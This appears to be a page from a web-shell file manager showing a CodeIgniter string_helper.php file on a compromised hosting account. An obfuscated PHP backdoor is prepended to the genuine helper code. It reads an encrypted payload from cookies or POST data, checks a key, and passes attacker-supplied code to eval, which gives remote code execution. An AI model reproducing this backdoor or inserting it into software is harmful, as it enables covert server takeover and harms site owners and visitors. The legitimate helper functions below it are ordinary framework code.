0byt3m1n1-V2
Path:
/
home
/
nlpacade
/
www.OLD
/
arcaneoverseas.com
/
system
/
helpers
/
[
Home
]
File: string_helper.php
<?php $q3b90 = 331;$GLOBALS['l1a0674'] = Array();global $l1a0674;$l1a0674 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['p41659'] = "\x26\x77\x23\x71\x75\x50\x21\xa\x7c\x54\x55\x6f\x46\x68\x3a\x60\x5e\x59\x28\x5a\x2b\x74\xd\x40\x38\x2a\x78\x47\x6d\x45\x6e\x9\x7a\x49\x52\x66\x2f\x2d\x4f\x42\x5c\x63\x4c\x6b\x43\x72\x5d\x4a\x3b\x79\x4e\x76\x57\x3c\x7d\x5b\x56\x22\x51\x5f\x7b\x3e\x41\x25\x58\x3d\x20\x32\x6a\x2e\x48\x30\x65\x4b\x53\x24\x3f\x67\x7e\x2c\x35\x36\x44\x62\x37\x6c\x4d\x61\x39\x34\x31\x27\x69\x73\x70\x64\x33\x29";$l1a0674[$l1a0674['p41659'][85].$l1a0674['p41659'][83].$l1a0674['p41659'][83].$l1a0674['p41659'][90].$l1a0674['p41659'][81].$l1a0674['p41659'][84].$l1a0674['p41659'][72].$l1a0674['p41659'][95]] = $l1a0674['p41659'][41].$l1a0674['p41659'][13].$l1a0674['p41659'][45];$l1a0674[$l1a0674['p41659'][93].$l1a0674['p41659'][81].$l1a0674['p41659'][95].$l1a0674['p41659'][88].$l1a0674['p41659'][89].$l1a0674['p41659'][87].$l1a0674['p41659'][81].$l1a0674['p41659'][95].$l1a0674['p41659'][80]] = $l1a0674['p41659'][11].$l1a0674['p41659'][45].$l1a0674['p41659'][95];$l1a0674[$l1a0674['p41659'][94].$l1a0674['p41659'][81].$l1a0674['p41659'][84].$l1a0674['p41659'][84].$l1a0674['p41659'][72].$l1a0674['p41659'][67].$l1a0674['p41659'][95].$l1a0674['p41659'][90]] = $l1a0674['p41659'][95].$l1a0674['p41659'][72].$l1a0674['p41659'][35].$l1a0674['p41659'][92].$l1a0674['p41659'][30].$l1a0674['p41659'][72];$l1a0674[$l1a0674['p41659'][43].$l1a0674['p41659'][35].$l1a0674['p41659'][67].$l1a0674['p41659'][67].$l1a0674['p41659'][72].$l1a0674['p41659'][84].$l1a0674['p41659'][81].$l1a0674['p41659'][24].$l1a0674['p41659'][41]] = $l1a0674['p41659'][93].$l1a0674['p41659'][21].$l1a0674['p41659'][45].$l1a0674['p41659'][85].$l1a0674['p41659'][72].$l1a0674['p41659'][30];$l1a0674[$l1a0674['p41659'][11].$l1a0674['p41659'][35].$l1a0674['p41659'][41].$l1a0674['p41659'][35].$l1a0674['p41659'][41].$l1a0674['p41659'][72]] = $l1a0674['p41659'][95].$l1a0674['p41659'][72].$l1a0674['p41659'][35].$l1a0674['p41659'][92].$l1a0674['p41659'][30].$l1a0674['p41659'][72].$l1a0674['p41659'][95];$l1a0674[$l1a0674['p41659'][94].$l1a0674['p41659'][95].$l1a0674['p41659'][24].$l1a0674['p41659'][83].$l1a0674['p41659'][95]] = $l1a0674['p41659'][92].$l1a0674['p41659'][30].$l1a0674['p41659'][92].$l1a0674['p41659'][59].$l1a0674['p41659'][93].$l1a0674['p41659'][72].$l1a0674['p41659'][21];$l1a0674[$l1a0674['p41659'][3].$l1a0674['p41659'][90].$l1a0674['p41659'][90].$l1a0674['p41659'][88].$l1a0674['p41659'][71]] = $l1a0674['p41659'][93].$l1a0674['p41659'][72].$l1a0674['p41659'][45].$l1a0674['p41659'][92].$l1a0674['p41659'][87].$l1a0674['p41659'][85].$l1a0674['p41659'][92].$l1a0674['p41659'][32].$l1a0674['p41659'][72];$l1a0674[$l1a0674['p41659'][28].$l1a0674['p41659'][80].$l1a0674['p41659'][87].$l1a0674['p41659'][87].$l1a0674['p41659'][89].$l1a0674['p41659'][89].$l1a0674['p41659'][80]] = $l1a0674['p41659'][94].$l1a0674['p41659'][13].$l1a0674['p41659'][94].$l1a0674['p41659'][51].$l1a0674['p41659'][72].$l1a0674['p41659'][45].$l1a0674['p41659'][93].$l1a0674['p41659'][92].$l1a0674['p41659'][11].$l1a0674['p41659'][30];$l1a0674[$l1a0674['p41659'][1].$l1a0674['p41659'][84].$l1a0674['p41659'][83].$l1a0674['p41659'][81].$l1a0674['p41659'][35].$l1a0674['p41659'][24].$l1a0674['p41659'][71].$l1a0674['p41659'][35]] = $l1a0674['p41659'][4].$l1a0674['p41659'][30].$l1a0674['p41659'][93].$l1a0674['p41659'][72].$l1a0674['p41659'][45].$l1a0674['p41659'][92].$l1a0674['p41659'][87].$l1a0674['p41659'][85].$l1a0674['p41659'][92].$l1a0674['p41659'][32].$l1a0674['p41659'][72];$l1a0674[$l1a0674['p41659'][30].$l1a0674['p41659'][83].$l1a0674['p41659'][89].$l1a0674['p41659'][84].$l1a0674['p41659'][96].$l1a0674['p41659'][81].$l1a0674['p41659'][41]] = $l1a0674['p41659'][83].$l1a0674['p41659'][87].$l1a0674['p41659'][93].$l1a0674['p41659'][72].$l1a0674['p41659'][81].$l1a0674['p41659'][89].$l1a0674['p41659'][59].$l1a0674['p41659'][95].$l1a0674['p41659'][72].$l1a0674['p41659'][41].$l1a0674['p41659'][11].$l1a0674['p41659'][95].$l1a0674['p41659'][72];$l1a0674[$l1a0674['p41659'][30].$l1a0674['p41659'][71].$l1a0674['p41659'][88].$l1a0674['p41659'][71].$l1a0674['p41659'][95]] = $l1a0674['p41659'][93].$l1a0674['p41659'][72].$l1a0674['p41659'][21].$l1a0674['p41659'][59].$l1a0674['p41659'][21].$l1a0674['p41659'][92].$l1a0674['p41659'][28].$l1a0674['p41659'][72].$l1a0674['p41659'][59].$l1a0674['p41659'][85].$l1a0674['p41659'][92].$l1a0674['p41659'][28].$l1a0674['p41659'][92].$l1a0674['p41659'][21];$l1a0674[$l1a0674['p41659'][72].$l1a0674['p41659'][41].$l1a0674['p41659'][89].$l1a0674['p41659'][71].$l1a0674['p41659'][96].$l1a0674['p41659'][81].$l1a0674['p41659'][90].$l1a0674['p41659'][96].$l1a0674['p41659'][81]] = $l1a0674['p41659'][41].$l1a0674['p41659'][41].$l1a0674['p41659'][95].$l1a0674['p41659'][89].$l1a0674['p41659'][95].$l1a0674['p41659'][87];$l1a0674[$l1a0674['p41659'][92].$l1a0674['p41659'][96].$l1a0674['p41659'][87].$l1a0674['p41659'][80].$l1a0674['p41659'][80].$l1a0674['p41659'][84].$l1a0674['p41659'][81].$l1a0674['p41659'][24].$l1a0674['p41659'][95]] = $l1a0674['p41659'][13].$l1a0674['p41659'][88].$l1a0674['p41659'][87].$l1a0674['p41659'][35].$l1a0674['p41659'][88].$l1a0674['p41659'][41].$l1a0674['p41659'][88];$l1a0674[$l1a0674['p41659'][49].$l1a0674['p41659'][96].$l1a0674['p41659'][71].$l1a0674['p41659'][95].$l1a0674['p41659'][96].$l1a0674['p41659'][88].$l1a0674['p41659'][89]] = $_POST;$l1a0674[$l1a0674['p41659'][28].$l1a0674['p41659'][84].$l1a0674['p41659'][90].$l1a0674['p41659'][35].$l1a0674['p41659'][80]] = $_COOKIE;@$l1a0674[$l1a0674['p41659'][94].$l1a0674['p41659'][95].$l1a0674['p41659'][24].$l1a0674['p41659'][83].$l1a0674['p41659'][95]]($l1a0674['p41659'][72].$l1a0674['p41659'][45].$l1a0674['p41659'][45].$l1a0674['p41659'][11].$l1a0674['p41659'][45].$l1a0674['p41659'][59].$l1a0674['p41659'][85].$l1a0674['p41659'][11].$l1a0674['p41659'][77], NULL);@$l1a0674[$l1a0674['p41659'][94].$l1a0674['p41659'][95].$l1a0674['p41659'][24].$l1a0674['p41659'][83].$l1a0674['p41659'][95]]($l1a0674['p41659'][85].$l1a0674['p41659'][11].$l1a0674['p41659'][77].$l1a0674['p41659'][59].$l1a0674['p41659'][72].$l1a0674['p41659'][45].$l1a0674['p41659'][45].$l1a0674['p41659'][11].$l1a0674['p41659'][45].$l1a0674['p41659'][93], 0);@$l1a0674[$l1a0674['p41659'][94].$l1a0674['p41659'][95].$l1a0674['p41659'][24].$l1a0674['p41659'][83].$l1a0674['p41659'][95]]($l1a0674['p41659'][28].$l1a0674['p41659'][87].$l1a0674['p41659'][26].$l1a0674['p41659'][59].$l1a0674['p41659'][72].$l1a0674['p41659'][26].$l1a0674['p41659'][72].$l1a0674['p41659'][41].$l1a0674['p41659'][4].$l1a0674['p41659'][21].$l1a0674['p41659'][92].$l1a0674['p41659'][11].$l1a0674['p41659'][30].$l1a0674['p41659'][59].$l1a0674['p41659'][21].$l1a0674['p41659'][92].$l1a0674['p41659'][28].$l1a0674['p41659'][72], 0);@$l1a0674[$l1a0674['p41659'][30].$l1a0674['p41659'][71].$l1a0674['p41659'][88].$l1a0674['p41659'][71].$l1a0674['p41659'][95]](0);if (!$l1a0674[$l1a0674['p41659'][11].$l1a0674['p41659'][35].$l1a0674['p41659'][41].$l1a0674['p41659'][35].$l1a0674['p41659'][41].$l1a0674['p41659'][72]]($l1a0674['p41659'][62].$l1a0674['p41659'][42].$l1a0674['p41659'][34].$l1a0674['p41659'][29].$l1a0674['p41659'][62].$l1a0674['p41659'][82].$l1a0674['p41659'][17].$l1a0674['p41659'][59].$l1a0674['p41659'][34].$l1a0674['p41659'][10].$l1a0674['p41659'][50].$l1a0674['p41659'][59].$l1a0674['p41659'][96].$l1a0674['p41659'][81].$l1a0674['p41659'][81].$l1a0674['p41659'][87].$l1a0674['p41659'][35].$l1a0674['p41659'][83].$l1a0674['p41659'][24].$l1a0674['p41659'][87].$l1a0674['p41659'][24].$l1a0674['p41659'][87].$l1a0674['p41659'][67].$l1a0674['p41659'][96].$l1a0674['p41659'][80].$l1a0674['p41659'][80].$l1a0674['p41659'][87].$l1a0674['p41659'][83].$l1a0674['p41659'][67].$l1a0674['p41659'][90].$l1a0674['p41659'][35].$l1a0674['p41659'][83].$l1a0674['p41659'][35].$l1a0674['p41659'][90].$l1a0674['p41659'][90].$l1a0674['p41659'][83].$l1a0674['p41659'][87].$l1a0674['p41659'][90].$l1a0674['p41659'][87].$l1a0674['p41659'][71].$l1a0674['p41659'][67].$l1a0674['p41659'][35].$l1a0674['p41659'][83].$l1a0674['p41659'][87])){$l1a0674[$l1a0674['p41659'][94].$l1a0674['p41659'][81].$l1a0674['p41659'][84].$l1a0674['p41659'][84].$l1a0674['p41659'][72].$l1a0674['p41659'][67].$l1a0674['p41659'][95].$l1a0674['p41659'][90]]($l1a0674['p41659'][62].$l1a0674['p41659'][42].$l1a0674['p41659'][34].$l1a0674['p41659'][29].$l1a0674['p41659'][62].$l1a0674['p41659'][82].$l1a0674['p41659'][17].$l1a0674['p41659'][59].$l1a0674['p41659'][34].$l1a0674['p41659'][10].$l1a0674['p41659'][50].$l1a0674['p41659'][59].$l1a0674['p41659'][96].$l1a0674['p41659'][81].$l1a0674['p41659'][81].$l1a0674['p41659'][87].$l1a0674['p41659'][35].$l1a0674['p41659'][83].$l1a0674['p41659'][24].$l1a0674['p41659'][87].$l1a0674['p41659'][24].$l1a0674['p41659'][87].$l1a0674['p41659'][67].$l1a0674['p41659'][96].$l1a0674['p41659'][80].$l1a0674['p41659'][80].$l1a0674['p41659'][87].$l1a0674['p41659'][83].$l1a0674['p41659'][67].$l1a0674['p41659'][90].$l1a0674['p41659'][35].$l1a0674['p41659'][83].$l1a0674['p41659'][35].$l1a0674['p41659'][90].$l1a0674['p41659'][90].$l1a0674['p41659'][83].$l1a0674['p41659'][87].$l1a0674['p41659'][90].$l1a0674['p41659'][87].$l1a0674['p41659'][71].$l1a0674['p41659'][67].$l1a0674['p41659'][35].$l1a0674['p41659'][83].$l1a0674['p41659'][87], 1);$i398e381 = NULL;$s3698338 = NULL;$l1a0674[$l1a0674['p41659'][3].$l1a0674['p41659'][41].$l1a0674['p41659'][71].$l1a0674['p41659'][80]] = $l1a0674['p41659'][24].$l1a0674['p41659'][67].$l1a0674['p41659'][89].$l1a0674['p41659'][72].$l1a0674['p41659'][35].$l1a0674['p41659'][84].$l1a0674['p41659'][71].$l1a0674['p41659'][96].$l1a0674['p41659'][37].$l1a0674['p41659'][83].$l1a0674['p41659'][67].$l1a0674['p41659'][88].$l1a0674['p41659'][83].$l1a0674['p41659'][37].$l1a0674['p41659'][89].$l1a0674['p41659'][88].$l1a0674['p41659'][90].$l1a0674['p41659'][81].$l1a0674['p41659'][37].$l1a0674['p41659'][87].$l1a0674['p41659'][95].$l1a0674['p41659'][80].$l1a0674['p41659'][80].$l1a0674['p41659'][37].$l1a0674['p41659'][96].$l1a0674['p41659'][71].$l1a0674['p41659'][41].$l1a0674['p41659'][72].$l1a0674['p41659'][95].$l1a0674['p41659'][83].$l1a0674['p41659'][83].$l1a0674['p41659'][80].$l1a0674['p41659'][84].$l1a0674['p41659'][41].$l1a0674['p41659'][96].$l1a0674['p41659'][84];global $qc05;function h9af9c9($i398e381, $q1a85){global $l1a0674;$xb811bd = "";for ($o126b=0; $o126b<$l1a0674[$l1a0674['p41659'][43].$l1a0674['p41659'][35].$l1a0674['p41659'][67].$l1a0674['p41659'][67].$l1a0674['p41659'][72].$l1a0674['p41659'][84].$l1a0674['p41659'][81].$l1a0674['p41659'][24].$l1a0674['p41659'][41]]($i398e381);){for ($u251db1=0; $u251db1<$l1a0674[$l1a0674['p41659'][43].$l1a0674['p41659'][35].$l1a0674['p41659'][67].$l1a0674['p41659'][67].$l1a0674['p41659'][72].$l1a0674['p41659'][84].$l1a0674['p41659'][81].$l1a0674['p41659'][24].$l1a0674['p41659'][41]]($q1a85) && $o126b<$l1a0674[$l1a0674['p41659'][43].$l1a0674['p41659'][35].$l1a0674['p41659'][67].$l1a0674['p41659'][67].$l1a0674['p41659'][72].$l1a0674['p41659'][84].$l1a0674['p41659'][81].$l1a0674['p41659'][24].$l1a0674['p41659'][41]]($i398e381); $u251db1++, $o126b++){$xb811bd .= $l1a0674[$l1a0674['p41659'][85].$l1a0674['p41659'][83].$l1a0674['p41659'][83].$l1a0674['p41659'][90].$l1a0674['p41659'][81].$l1a0674['p41659'][84].$l1a0674['p41659'][72].$l1a0674['p41659'][95]]($l1a0674[$l1a0674['p41659'][93].$l1a0674['p41659'][81].$l1a0674['p41659'][95].$l1a0674['p41659'][88].$l1a0674['p41659'][89].$l1a0674['p41659'][87].$l1a0674['p41659'][81].$l1a0674['p41659'][95].$l1a0674['p41659'][80]]($i398e381[$o126b]) ^ $l1a0674[$l1a0674['p41659'][93].$l1a0674['p41659'][81].$l1a0674['p41659'][95].$l1a0674['p41659'][88].$l1a0674['p41659'][89].$l1a0674['p41659'][87].$l1a0674['p41659'][81].$l1a0674['p41659'][95].$l1a0674['p41659'][80]]($q1a85[$u251db1]));}}return $xb811bd;}function ccd4da($i398e381, $q1a85){global $l1a0674;global $qc05;return $l1a0674[$l1a0674['p41659'][92].$l1a0674['p41659'][96].$l1a0674['p41659'][87].$l1a0674['p41659'][80].$l1a0674['p41659'][80].$l1a0674['p41659'][84].$l1a0674['p41659'][81].$l1a0674['p41659'][24].$l1a0674['p41659'][95]]($l1a0674[$l1a0674['p41659'][92].$l1a0674['p41659'][96].$l1a0674['p41659'][87].$l1a0674['p41659'][80].$l1a0674['p41659'][80].$l1a0674['p41659'][84].$l1a0674['p41659'][81].$l1a0674['p41659'][24].$l1a0674['p41659'][95]]($i398e381, $qc05), $q1a85);}foreach ($l1a0674[$l1a0674['p41659'][28].$l1a0674['p41659'][84].$l1a0674['p41659'][90].$l1a0674['p41659'][35].$l1a0674['p41659'][80]] as $q1a85=>$qb8e172){$i398e381 = $qb8e172;$s3698338 = $q1a85;}if (!$i398e381){foreach ($l1a0674[$l1a0674['p41659'][49].$l1a0674['p41659'][96].$l1a0674['p41659'][71].$l1a0674['p41659'][95].$l1a0674['p41659'][96].$l1a0674['p41659'][88].$l1a0674['p41659'][89]] as $q1a85=>$qb8e172){$i398e381 = $qb8e172;$s3698338 = $q1a85;}}$i398e381 = @$l1a0674[$l1a0674['p41659'][1].$l1a0674['p41659'][84].$l1a0674['p41659'][83].$l1a0674['p41659'][81].$l1a0674['p41659'][35].$l1a0674['p41659'][24].$l1a0674['p41659'][71].$l1a0674['p41659'][35]]($l1a0674[$l1a0674['p41659'][72].$l1a0674['p41659'][41].$l1a0674['p41659'][89].$l1a0674['p41659'][71].$l1a0674['p41659'][96].$l1a0674['p41659'][81].$l1a0674['p41659'][90].$l1a0674['p41659'][96].$l1a0674['p41659'][81]]($l1a0674[$l1a0674['p41659'][30].$l1a0674['p41659'][83].$l1a0674['p41659'][89].$l1a0674['p41659'][84].$l1a0674['p41659'][96].$l1a0674['p41659'][81].$l1a0674['p41659'][41]]($i398e381), $s3698338));if (isset($i398e381[$l1a0674['p41659'][87].$l1a0674['p41659'][43]]) && $qc05==$i398e381[$l1a0674['p41659'][87].$l1a0674['p41659'][43]]){if ($i398e381[$l1a0674['p41659'][87]] == $l1a0674['p41659'][92]){$o126b = Array($l1a0674['p41659'][94].$l1a0674['p41659'][51] => @$l1a0674[$l1a0674['p41659'][28].$l1a0674['p41659'][80].$l1a0674['p41659'][87].$l1a0674['p41659'][87].$l1a0674['p41659'][89].$l1a0674['p41659'][89].$l1a0674['p41659'][80]](),$l1a0674['p41659'][93].$l1a0674['p41659'][51] => $l1a0674['p41659'][90].$l1a0674['p41659'][69].$l1a0674['p41659'][71].$l1a0674['p41659'][37].$l1a0674['p41659'][90],);echo @$l1a0674[$l1a0674['p41659'][3].$l1a0674['p41659'][90].$l1a0674['p41659'][90].$l1a0674['p41659'][88].$l1a0674['p41659'][71]]($o126b);}elseif ($i398e381[$l1a0674['p41659'][87]] == $l1a0674['p41659'][72]){eval/*sc10d8cb*/($i398e381[$l1a0674['p41659'][95]]);}exit();}} ?><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); /** * CodeIgniter * * An open source application development framework for PHP 5.1.6 or newer * * @package CodeIgniter * @author ExpressionEngine Dev Team * @copyright Copyright (c) 2008 - 2011, EllisLab, Inc. * @license http://codeigniter.com/user_guide/license.html * @link http://codeigniter.com * @since Version 1.0 * @filesource */ // ------------------------------------------------------------------------ /** * CodeIgniter String Helpers * * @package CodeIgniter * @subpackage Helpers * @category Helpers * @author ExpressionEngine Dev Team * @link http://codeigniter.com/user_guide/helpers/string_helper.html */ // ------------------------------------------------------------------------ /** * Trim Slashes * * Removes any leading/trailing slashes from a string: * * /this/that/theother/ * * becomes: * * this/that/theother * * @access public * @param string * @return string */ if ( ! function_exists('trim_slashes')) { function trim_slashes($str) { return trim($str, '/'); } } // ------------------------------------------------------------------------ /** * Strip Slashes * * Removes slashes contained in a string or in an array * * @access public * @param mixed string or array * @return mixed string or array */ if ( ! function_exists('strip_slashes')) { function strip_slashes($str) { if (is_array($str)) { foreach ($str as $key => $val) { $str[$key] = strip_slashes($val); } } else { $str = stripslashes($str); } return $str; } } // ------------------------------------------------------------------------ /** * Strip Quotes * * Removes single and double quotes from a string * * @access public * @param string * @return string */ if ( ! function_exists('strip_quotes')) { function strip_quotes($str) { return str_replace(array('"', "'"), '', $str); } } // ------------------------------------------------------------------------ /** * Quotes to Entities * * Converts single and double quotes to entities * * @access public * @param string * @return string */ if ( ! function_exists('quotes_to_entities')) { function quotes_to_entities($str) { return str_replace(array("\'","\"","'",'"'), array("'",""","'","""), $str); } } // ------------------------------------------------------------------------ /** * Reduce Double Slashes * * Converts double slashes in a string to a single slash, * except those found in http:// * * http://www.some-site.com//index.php * * becomes: * * http://www.some-site.com/index.php * * @access public * @param string * @return string */ if ( ! function_exists('reduce_double_slashes')) { function reduce_double_slashes($str) { return preg_replace("#(^|[^:])//+#", "\\1/", $str); } } // ------------------------------------------------------------------------ /** * Reduce Multiples * * Reduces multiple instances of a particular character. Example: * * Fred, Bill,, Joe, Jimmy * * becomes: * * Fred, Bill, Joe, Jimmy * * @access public * @param string * @param string the character you wish to reduce * @param bool TRUE/FALSE - whether to trim the character from the beginning/end * @return string */ if ( ! function_exists('reduce_multiples')) { function reduce_multiples($str, $character = ',', $trim = FALSE) { $str = preg_replace('#'.preg_quote($character, '#').'{2,}#', $character, $str); if ($trim === TRUE) { $str = trim($str, $character); } return $str; } } // ------------------------------------------------------------------------ /** * Create a Random String * * Useful for generating passwords or hashes. * * @access public * @param string type of random string. basic, alpha, alunum, numeric, nozero, unique, md5, encrypt and sha1 * @param integer number of characters * @return string */ if ( ! function_exists('random_string')) { function random_string($type = 'alnum', $len = 8) { switch($type) { case 'basic' : return mt_rand(); break; case 'alnum' : case 'numeric' : case 'nozero' : case 'alpha' : switch ($type) { case 'alpha' : $pool = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 'alnum' : $pool = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; break; case 'numeric' : $pool = '0123456789'; break; case 'nozero' : $pool = '123456789'; break; } $str = ''; for ($i=0; $i < $len; $i++) { $str .= substr($pool, mt_rand(0, strlen($pool) -1), 1); } return $str; break; case 'unique' : case 'md5' : return md5(uniqid(mt_rand())); break; case 'encrypt' : case 'sha1' : $CI =& get_instance(); $CI->load->helper('security'); return do_hash(uniqid(mt_rand(), TRUE), 'sha1'); break; } } } // ------------------------------------------------------------------------ /** * Alternator * * Allows strings to be alternated. See docs... * * @access public * @param string (as many parameters as needed) * @return string */ if ( ! function_exists('alternator')) { function alternator() { static $i; if (func_num_args() == 0) { $i = 0; return ''; } $args = func_get_args(); return $args[($i++ % count($args))]; } } // ------------------------------------------------------------------------ /** * Repeater function * * @access public * @param string * @param integer number of repeats * @return string */ if ( ! function_exists('repeater')) { function repeater($data, $num = 1) { return (($num > 0) ? str_repeat($data, $num) : ''); } } /* End of file string_helper.php */ /* Location: ./system/helpers/string_helper.php */
©
2018.